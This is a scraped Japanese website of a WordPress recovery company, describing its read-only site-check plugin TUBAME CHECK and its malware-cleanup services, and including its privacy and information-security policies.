このプラグインは、サイトを自動的に保護したり、問題を自動で解決したりするものではありません。あくまで、管理者が現在の状態を確認し、必要な対応を判断するための補助ツールとして設計しています。WordPress.org では、明示的な同意なしの外部通信や追跡、ユーザーに誤解を与える説明は避けることが求められています。[WordPress Plugin Directory Guidelines](https://developer.wordpress.org/plugins/wordpress-org/detailed-plugin-guidelines/)

![](https://wp-r.com/wp-content/uploads/2026/05/image.png)

## 管理画面から手動で確認できること

TUBAME CHECK では、WordPress サイトの基本状態をカテゴリごとに確認できます。管理画面の「TUBAME CHECK」メニューから「今チェックする」を実行すると、現在の状態を確認し、最新チェック日時と危険度別件数を表示します。結果は画面上で確認できるほか、簡易履歴の表示や CSV 出力にも対応しています。CSV は日本語版 Excel で扱いやすいよう、UTF-8 BOM 付きで出力します。

## 主な確認項目

### 基本情報

PHP バージョン、WordPress バージョン、サイト URL、ホーム URL、SSL 状態、サイトマップ、デバッグ設定を確認します。PHP は 8.2 以上を推奨基準とし、サポート終了済みの PHP は危険として扱います。WordPress は 5 系以下を危険、6 系で最新版でない場合を注意として扱います。PHP や WordPress の更新状況を把握することは、一般的な保守・セキュリティ運用でも基本項目です。[WordPress Security](https://developer.wordpress.org/plugins/security/) [WordPress Security APIs](https://developer.wordpress.org/apis/security/)

### ファイル・ディレクトリ

`wp-config.php`、`.htaccess`、`index.php`、`wp-admin`、`wp-content`、`wp-includes`、`debug.log` の公開保護、uploads の PHP 実行防止設定、バックアップ・旧ファイル候補を確認します。`index.php` については、存在・サイズ・権限に加えて、`base64`、`eval`、`gzinflate`、長い Base64 風文字列、hex エスケープ、`chr` の連結など、難読化で使われることがある要素を確認します。これらが見つかった場合は確認対象として表示されますが、それだけで悪性コードと断定するものではありません。正常なコードでも使われる可能性があるため、結果は管理者による確認判断の補助情報として扱ってください。ユーザーに不必要な不安を与えないためにも、紹介ページでは「確認候補」と「断定」の違いを明確にすることが重要です。[Google Helpful Content](https://developers.google.com/search/docs/fundamentals/creating-helpful-content) [Google Search Quality Rater Guidelines Overview PDF](https://services.google.com/fh/files/misc/hsw-sqrg.pdf)

### 構成・認証設定

`wp-config.php` 構成確認、`wp-config.php` の配置、SALT 定数の有無を確認します。値そのものは表示せず、有無や状態のみを確認対象とします。秘密情報や認証関連情報は、確認に必要な範囲だけを扱う設計が望まれます。[WordPress Security APIs](https://developer.wordpress.org/apis/security/)

### ユーザー・公開設定

管理者ユーザー数、ユーザー名 `admin` の有無、古い管理者アカウント、アプリケーションパスワード、検索エンジン表示設定、XML-RPC 状態を確認します。ユーザー名、メールアドレス、パスワード値そのものは表示せず、件数や有無など必要な範囲に限定して扱います。権限や認証まわりの情報は、表示のしかた自体にも配慮が必要です。[WordPress Security APIs](https://developer.wordpress.org/apis/security/)

### 更新・メンテナンス

WordPress 本体更新、プラグイン更新、テーマ更新、停止中プラグイン、未使用テーマ候補を確認します。更新状態の確認には、外部脆弱性データベースではなく、WordPress が保持している更新情報を参照します。更新管理は WordPress 運用で基本となる確認項目です。[WordPress Security](https://developer.wordpress.org/plugins/security/)

### パーミッション確認

`wp-content` 配下の 444・555 パーミッションのファイルやフォルダを確認します。444 や 555 の権限は、環境によっては意図的に設定されている場合もありますが、更新・削除・保守作業に影響することがあるため、管理者が把握しておきたい項目です。themes 配下で見つかった場合は、意図的な設定の可能性がある旨を注記する仕様です。こうした説明は、単に「危険」と断定するよりも、確認の必要性と判断余地を併記したほうが誤解を招きにくくなります。[Google Helpful Content](https://developers.google.com/search/docs/fundamentals/creating-helpful-content)

### uploads セキュリティ確認

`uploads/YYYY/.htaccess`、`uploads/YYYY/MM/.htaccess` を確認します。uploads フォルダについては、`uploads/.htaccess` に PHP 実行拒否の記述があるかを確認し、あわせて uploads 配下の年別・年月別フォルダ内の `.htaccess` の有無も確認対象とします。該当する `.htaccess` が見つかった場合は危険として表示し、ファイル内容そのものは表示しません。表示内容を必要最小限にとどめることは、確認ツール自身が不要な情報露出の原因にならないためにも重要です。[WordPress Security APIs](https://developer.wordpress.org/apis/security/)

## 確認結果の見方

チェック結果は、管理者が状態を把握しやすいように危険度ごとに整理して表示されます。「正常」は現時点で大きな確認事項が見当たらない状態、「確認推奨」は必ずしも異常ではないものの内容確認をおすすめしたい状態、「注意」は設定や更新状況に注意が必要な可能性がある状態、「危険」は早めに確認や対応検討が必要な状態、「判定不可」は環境や権限などの影響で十分な判定ができなかった状態です。表示される結果は、状態確認のための目安です。すべての問題の原因を自動判定したり、影響範囲を断定したりするものではありません。信頼性が重要な話題では、誇張よりも正確さと説明責任が重視されます。[Google Helpful Content](https://developers.google.com/search/docs/fundamentals/creating-helpful-content) [Google Search Quality Rater Guidelines Overview PDF](https://services.google.com/fh/files/misc/hsw-sqrg.pdf)

## 外部通信を行わない設計

TUBAME CHECK は、外部 API や外部サービスへ接続して結果を取得する方式ではなく、サイト内で確認できる情報をもとに状態を整理します。外部脆弱性データベース照会には対応していないため、外部サービスと連携する監視型ツールとは役割が異なります。外部送信を避けたい運用や、閉じた環境での確認用途にも使いやすい構成です。WordPress.org のガイドラインでも、プラグインは明示的な同意なしに外部サーバーへ通信・追跡してはならないとされています。[WordPress Plugin Directory Guidelines](https://developer.wordpress.org/plugins/wordpress-org/detailed-plugin-guidelines/)

## 自動変更を行わず、状態確認に特化

TUBAME CHECK は、設定の自動修復、自動削除、自動変更を行いません。表示された結果をもとに、内容を確認し、必要な対応を管理者が判断するための補助ツールです。サイトに直接変更を加える処理を前提としないため、「まず現状を把握したい」「変更前に確認したい」という場面で使いやすい構成です。紹介文では、できることだけでなく、できないことも明確にするほうが信頼性につながります。[Google Helpful Content](https://developers.google.com/search/docs/fundamentals/creating-helpful-content)

## 機密情報の内容は表示しない

TUBAME CHECK では、`wp-config.php` 構成や SALT 定数の有無などを確認しますが、値そのものは表示しません。ユーザー名やメールアドレス、パスワード値なども表示せず、件数や有無など、管理上の確認に必要な範囲に限定して結果を扱います。チェックツール自体が不要な情報露出の原因にならないよう配慮した構成です。入力値や機密データの扱いに慎重であることは、WordPress のセキュリティ設計でも基本です。[WordPress Security APIs](https://developer.wordpress.org/apis/security/)

## debug.log の公開保護を確認

`wp-content/debug.log` が存在する場合、ルートまたは `wp-content` の `.htaccess` にアクセス拒否の記述があるかを確認します。エラーログは内容によって内部情報を含むことがあるため、公開状態の確認は保守上の重要ポイントのひとつです。ログやデバッグ情報の露出を避ける考え方は、一般的なセキュリティ実務とも整合します。[WordPress Security](https://developer.wordpress.org/plugins/security/) [WordPress Security APIs](https://developer.wordpress.org/apis/security/)

## 更新・メンテナンスの確認

WordPress 本体、プラグイン、テーマの更新状態に加え、停止中プラグインや未使用テーマ候補も確認できます。日常保守や月次点検、納品前確認の際に、更新状況の見落としを減らしたい場合に活用できます。WordPress のプラグイン説明では、機能説明は簡潔かつ実用的であることが推奨されています。[How Your Readme.txt Works](https://developer.wordpress.org/plugins/wordpress-org/how-your-readme-txt-works/)

## CSV 出力と記録

最新チェック結果は CSV として出力できます。出力項目には `checked_at`、項目名、状態、危険度、説明、確認方法、推奨対応が含まれます。CSV セルの数式注入を避けるため、危険な先頭文字を持つ値はエスケープする仕様です。保守記録として残したり、前回との差分確認や報告資料の整理に使いやすい形式です。セキュリティ関連の出力では、データの扱い方そのものにも配慮が必要です。[WordPress Security APIs](https://developer.wordpress.org/apis/security/)

## こういう用途に向いています

納品前に WordPress の基本状態をまとめて見直したい場合、月次保守で確認結果を残したい場合、不審な状態がないか管理画面から確認したい場合、外部通信なしで状態確認を行いたい場合、常時監視ではなく必要なタイミングで確認したい場合、CSV で結果を残して報告や履歴管理に使いたい場合に向いています。役割を限定して説明することで、期待値のズレを減らしやすくなります。[Google Helpful Content](https://developers.google.com/search/docs/fundamentals/creating-helpful-content)

## できないこと・注意点

TUBAME CHECK は、WordPress サイトの状態確認を補助するプラグインです。マルウェア感染の断定、ファイルの自動削除、自動修復、自動防御、外部の脆弱性データベース照会、独自アップデートサーバー連携には対応していません。また、表示結果はサイト状態を確認するための参考情報であり、すべての問題や攻撃を検出・防止することを保証するものではありません。最終的な確認・修正・削除・復旧の判断は、サイト管理者が行ってください。WordPress.org では、誤認を招く説明や、実態以上の保証に読める表現は避けるほうが安全です。[WordPress Plugin Directory Guidelines](https://developer.wordpress.org/plugins/wordpress-org/detailed-plugin-guidelines/) [Google Search Quality Rater Guidelines Overview PDF](https://services.google.com/fh/files/misc/hsw-sqrg.pdf)

## インストール

TUBAME CHECK は、公開後は WordPress 公式ディレクトリから入手できます。WordPress 管理画面の「プラグイン」→「新規追加」から検索してインストールするか、配布ページからダウンロードして利用してください。

## 免責事項

TUBAME CHECK は、WordPress サイトの状態確認を補助するためのプラグインです。本プラグインの利用により、すべての設定不備、不審ファイル、脆弱性、攻撃、または運用上の問題の発見・防止が可能になるわけではありません。結果の解釈や、その後の対応は、サイトの状況に応じて管理者の責任で行ってください。信頼性が重要なテーマでは、保証よりも範囲の明確化が重要です。[Google Helpful Content](https://developers.google.com/search/docs/fundamentals/creating-helpful-content)

---

### [プライバシーポリシー](https://wp-r.com/privacy-policy/)

**Published:** 8月 29, 2017
**Author:** ワードプレスレスキュー

**Content:**

CreativeStudio樂合同会社（以下「当社」といいます）は、当社が運営するWebサイト「ワードプレスレスキュー」（ 以下「当サイト」といいます）において取得する個人情報について、以下のとおりプライバシーポリシーを定めます。

当サイトでは、WordPressの復旧、マルウェア駆除、改ざん対応、セキュリティ調査、保守管理、各種お問い合わせ対応のために、必要な範囲で個人情報を取得・利用します。

## 1. 取得する情報

当社は、当サイトのお問い合わせフォーム、見積依頼、緊急相談、メール、チャット、電話、外部サービスとの連携等を通じて、以下の情報を取得する場合があります。

- 氏名、会社名、部署名、担当者名
- メールアドレス、電話番号、住所
- サイトURL、サーバー情報、WordPressの管理情報
- 障害内容、感染状況、改ざん内容、問い合わせ内容
- 契約、請求、支払い、本人確認に必要な情報
- アクセス解析、広告計測、Cookie等により取得される閲覧情報

WordPress復旧やマルウェア駆除の性質上、調査・復旧作業に必要な範囲で、サーバー情報、ログ情報、管理画面情報、ファイル構成、データベース情報等を確認する場合があります。

## 2. 個人情報の利用目的

取得した個人情報は、以下の目的で利用します。

- お問い合わせ、見積依頼、緊急相談への回答
- WordPress復旧、マルウェア駆除、改ざん調査、セキュリティ対応の実施
- サービス提供、契約確認、本人確認、請求、支払い管理
- 作業内容、調査結果、復旧状況、再発防止策の連絡
- サービス品質の改善、問い合わせ内容の分析
- 不正アクセス、迷惑行為、スパム、なりすまし等への対応
- 広告配信、アクセス解析、効果測定、サイト改善
- 法令、規約、契約、行政機関等への対応

取得した情報を、上記の目的を超えて利用することはありません。

## 3. WordPress復旧・マルウェア対応に関する情報の取り扱い

当社では、WordPressの復旧やマルウェア駆除を行う際、原因調査や再発防止のために、以下のような技術情報を確認する場合があります。

- WordPress本体、テーマ、プラグインの状態
- サーバー内のファイル、ディレクトリ構成、権限設定
- データベース内の改ざん有無
- アクセスログ、エラーログ、セキュリティログ
- 不審なユーザー、管理者アカウント、設定変更履歴
- 外部リンク、リダイレクト、スパム投稿、改ざんコードの有無

これらの情報は、復旧作業、侵入経路の確認、再発防止、作業報告のために使用し、不要になった情報は適切に管理または削除します。

## 4. Cookie・アクセス解析ツールについて

当サイトでは、利用状況の把握、サイト改善、広告効果測定のためにCookieを使用する場合があります。

Cookieとは、Webサイトを閲覧した際に、ブラウザに保存される小さな情報です。Cookieにより、閲覧ページ、滞在時間、流入経路、広告経由の訪問状況などを把握することがあります。

当サイトでは、以下のような外部サービスを利用する場合があります。

- Google Analytics
- Google広告
- Googleタグマネージャー
- Zoho関連サービス
- その他、問い合わせ対応、広告計測、アクセス解析、業務管理に必要な外部サービス

Cookieの利用を希望しない場合は、ブラウザの設定によりCookieを無効にできます。ただし、一部機能が正しく動作しない場合があります。

## 5. Google Analyticsについて

当サイトでは、Google LLCが提供するGoogle Analyticsを利用する場合があります。

Google AnalyticsはCookieを使用して、当サイトの利用状況を収集・分析します。収集される情報には、閲覧ページ、利用端末、ブラウザ、参照元、滞在時間などが含まれる場合があります。

Google Analyticsで収集された情報は、Google社のプライバシーポリシーに基づいて管理されます。Google Analyticsによる情報収集を無効にしたい場合は、Googleが提供するオプトアウト機能を利用できます。

## 6. 広告配信・リマーケティングについて

当サイトでは、Google広告等の広告サービスを利用する場合があります。

広告配信では、Cookie等を利用して、当サイトへの訪問履歴や問い合わせ行動などをもとに、関連性の高い広告を表示する場合があります。

取得した情報は、広告配信、広告効果測定、コンバージョン計測、サイト改善のために利用します。広告設定の変更やパーソナライズ広告の無効化は、各広告サービスの設定画面から行うことができます。

## 7. 個人情報の第三者提供について

当社は、次の場合を除き、本人の同意なく個人情報を第三者に提供しません。

- 本人の同意がある場合
- 法令に基づく場合
- 人の生命、身体、財産の保護のために必要な場合
- 公的機関、警察、裁判所、行政機関等から適法な照会を受けた場合
- 業務遂行に必要な範囲で外部事業者に委託する場合

外部事業者へ委託する場合は、必要な範囲に限定し、適切な管理を行います。

## 8. 業務委託先・外部サービスの利用について

当社は、業務遂行のために、以下のような外部サービスや業務委託先を利用する場合があります。

- サーバー、クラウド、メール、ストレージ等のインフラサービス
- 問い合わせ管理、顧客管理、契約管理、請求管理サービス
- アクセス解析、広告配信、効果測定サービス
- セキュリティ調査、ログ解析、復旧作業に必要な外部サービス

これらのサービスを利用する場合も、取得した情報は業務上必要な範囲に限定して取り扱います。

## 9. 個人情報の安全管理

当社は、個人情報の漏えい、紛失、改ざん、不正アクセスを防ぐため、適切な安全管理措置を講じます。

特に、WordPress復旧やマルウェア対応で取得する管理情報、サーバー情報、ログ情報、認証情報については、作業目的に必要な範囲で取り扱い、不要な共有や目的外利用を行いません。

## 10. 個人情報の開示・訂正・削除等について

本人から、個人情報の開示、訂正、利用停止、削除等の請求があった場合は、本人確認のうえ、法令に従い適切に対応します。

ただし、業務記録、契約履歴、請求情報、法令上保存が必要な情報、不正アクセス対応やトラブル対応に必要な記録については、一定期間保存する場合があります。

## 11. 免責事項

当サイトからリンクされた外部サイトにおける個人情報の取り扱いについて、当社は責任を負いません。

外部サイトの利用にあたっては、各サイトのプライバシーポリシーをご確認ください。

## 12. プライバシーポリシーの変更

当社は、法令の変更、利用サービスの変更、業務内容の変更、個人情報保護体制の見直し等に応じて、本ポリシーを変更する場合があります。

変更後の内容は、当サイトに掲載した時点で有効となります。

## 13. お問い合わせ窓口

本ポリシーに関するお問い合わせは、当サイトのお問い合わせフォームよりご連絡ください。

運営者：CreativeStudio樂
サイト名：ワードプレスレスキュー
URL：

## 制定日・改定日

制定日：2020年1月1日
最終改定日：2026年5月27日

## 主な改定内容

– アクセス解析、広告計測、Cookieの利用に関する説明を追加
– WordPress復旧・マルウェア調査時に確認する技術情報の取り扱いを明記
– 外部サービス、業務委託先、第三者提供に関する説明を整理
– 個人情報の安全管理および開示・訂正・削除等の対応方針を明確化

---

Googleのプライバシーポリシーについては、以下をご確認ください。
[https://policies.google.com/privacy?hl=ja](https://policies.google.com/privacy?hl=ja "https://policies.google.com/privacy?hl=ja")

Google広告のパーソナライズ設定は、以下から確認・変更できます。
[https://myadcenter.google.com/?hl=ja](https://myadcenter.google.com/?hl=ja "https://myadcenter.google.com/?hl=ja")

Google Analyticsのオプトアウトについては、以下をご確認ください。
[https://tools.google.com/dlpage/gaoptout?hl=ja](https://tools.google.com/dlpage/gaoptout?hl=ja "https://tools.google.com/dlpage/gaoptout?hl=ja")

---

### [【ワードプレスレスキュー】Wordpressの緊急復旧・トラブル・マルウェア・改ざん対応サービスのトッピクス](https://wp-r.com/all-posts/)

**Published:** 4月 23, 2026
**Author:** ワードプレスレスキュー

---

### [WordPressマルウェア復旧は専門家へ。制作会社では対応できない領域を1年保証で解決](https://wp-r.com/wordpress-malware-recovery/)

**Published:** 3月 21, 2026
**Author:** ワードプレスレスキュー

**Content:**

## WordPressのマルウェア復旧は“制作会社ではなく専門家”に任せるべき理由

WordPressのマルウェア感染や乗っ取りは、制作会社やデザイナーでは対応できない高度な復旧領域です。
表面的な修正では再発しやすく、サーバー設定・脆弱性・バックドアなど複数の要因が絡み合うため、専門知識が必須となります。

当社はWordPress復旧を主軸とした専門サービスとして、外注を使わず自社技術者が直接対応。
原因調査から再発防止まで一貫して行う体制を整えています。

## 制作会社では対応できない“危険領域”に特化

マルウェア感染、乗っ取り、不正リダイレクト、バックドア再生成などは、一般的な制作会社の業務範囲を超えた危険領域です。

当社はこの領域に特化し、復旧専門の技術者がすべての作業を担当します。
片手間のサブサービスではなく、復旧を中心に据えた専門体制で対応しています。

### ● マルウェア感染の典型症状

- 勝手に別サイトへリダイレクトされる
- 管理画面にログインできない
- バックドアが何度も再生成される
- Google検索結果が書き換えられる

### ● 乗っ取り被害の典型症状

- 管理者権限の奪取
- 不正ユーザーの大量生成
- サイト全体が別の内容に書き換えられる

## 外注なし。すべて自社の技術者が対応

復旧作業を外注に回す業者も多い中、当社はすべて自社内の技術者が対応します。
セキュリティ技術、サーバー構築、WordPress内部構造、マルウェア解析を理解した技術者が直接復旧することで、
スピード・精度・再発防止の質が大きく向上します。

## 他社が1〜3ヶ月の中、当社は“1年保証”

多くの復旧業者は1〜3ヶ月保証が一般的ですが、マルウェアは再発すれば意味がありません。

当社は根本原因の除去と再発防止に自信があるからこそ“1年保証”を提供しています。

表面的な除去ではなく、バックドアの完全排除、脆弱性修正、サーバー設定の見直しまで徹底し、長期的な安心を提供します。

### ● 当社の1年保証が選ばれる理由

- 再発率を極限まで下げる復旧プロセス
- バックドアの完全除去
- 脆弱性の修正と強化
- サーバー設定の最適化

## サーバー起因のトラブルにも対応できる技術力

WordPressのトラブルはテーマやプラグインだけでなく、サーバー側が原因のケースも多く存在します。
当社はサーバー構築・保守の経験が豊富で、共有サーバー特有の問題にも対応可能です。

### ● サーバー側でよくある問題

- パーミッション設定の誤り
- PHPバージョンの不整合
- サーバー側のマルウェア感染
- 設定ファイルの改ざん

## 年中無休・即日対応で緊急トラブルに備える

WordPressのトラブルは突然発生します。
当社は6:30〜23:00／年中無休／即日対応の体制を整え、緊急時にすぐ相談できる環境を提供しています。

## 復旧件数は“制作実績”ではなく“トラブル復旧実績”のみ

当社が公開している実績は制作実績ではなく、純粋な復旧件数のみです。
これは復旧専門サービスとしての信頼性を示す重要な指標です。

## まとめ：WordPressの深刻なトラブルは専門家へ

マルウェア感染・乗っ取り・改ざんは、制作会社では対応できない高度な復旧領域です。
当社は外注なしの技術者が対応し、他社が1〜3ヶ月の中“1年保証”で再発防止まで徹底します。

WordPressの深刻なトラブルは、専門家による確実な復旧をおすすめします。

---

### [【迅速に緊急で対応】WordPressのトラブルや改ざん、乗っ取り、復旧サービス、よくある質問](https://wp-r.com/wp-rescue/)

**Published:** 5月 7, 2016
**Author:** ワードプレスレスキュー

**Content:**

\[wpr\_faq\_section\]

---

### [資料DLのご案内](https://wp-r.com/download-materials/)

**Published:** 5月 20, 2025
**Author:** ワードプレスレスキュー

**Content:**



---

### [情報セキュリティ基本方針](https://wp-r.com/information-security-policy/)

**Published:** 4月 10, 2024
**Author:** ワードプレスレスキュー

**Content:**

情報セキュリティ基本方針

CreativeStudio樂・ワードプレスレスキュー（以下、当社）は、当社の保有情報資産、お客様、協力会社様からお預かりした情報資産を事故・災害・犯罪などの脅威から守り、お客様ならびに社会の信頼に応えるべく、以下の方針に基づき全社で情報セキュリティに取り組みます。

1.経営者の責任

当社は、経営者主導で組織的かつ継続的に情報セキュリティの改善・向上に努めます。

2.社内体制の整備

当社は、情報セキュリティの維持及び改善のために組織を設置し、情報セキュリティ対策を社内の正式な規則として定めます。

3.従業員の取組み

当社の従業員は、情報セキュリティのために必要とされる知識、技術を習得し、情報セキュリティへの取り組みを確かなものにします。

4.法令及び契約上の要求事項の遵守

当社は、情報セキュリティに関わる法令、規制、規範、契約上の義務を遵守するとともに、お客様の期待に応えます。

5.違反及び事故への対応

当社は、情報セキュリティに関わる法令違反、契約違反及び事故が発生した場合には適切に対処し、再発防止に努めます。

制定日:2023年5月１日

CreativeStudio樂・ワードプレスレスキュー

代表 前田美知太郎

---

### [資料ダウンロード有難うございます。](https://wp-r.com/download-materials-tanks/)

**Published:** 5月 19, 2025
**Author:** ワードプレスレスキュー

**Content:**

## 🎉 ダウンロードありがとうございます！

 ご登録のメールに**資料のダウンロードリンク**をお送りしました。
 メールをご確認ください。迷惑メールフォルダに振り分けられている場合もございます。

 本資料では、**実際のマルウェア対応・復旧事例**を含めて、
 WordPressサイトの安全性を高めるためのノウハウをまとめています。

 あなたのサイト改善の一助になれば幸いです。

---

今後も役立つセキュリティ情報や限定ガイドをお届け予定です。

---

---


## カテゴリー

### [ワードプレス復旧実績](https://wp-r.com/category/wprescue/)

---

### [お知らせ](https://wp-r.com/category/news/)

---

### [サービス](https://wp-r.com/category/service/)

---

### [ワードプレスTIPS](https://wp-r.com/category/wp-tips/)

---

### [お客様の声](https://wp-r.com/category/wp-review/)

---

### [サーバー移行TIPS](https://wp-r.com/category/servertips/)

---

### [ワードプレスのマルウェア復旧事例](https://wp-r.com/category/wp-achieve/)

---

### [ワードプレスに感染したマルウェアの例](https://wp-r.com/category/malware/)

---

### [WordPress復旧業者比較](https://wp-r.com/category/wordpress-recovery-comparison/)

---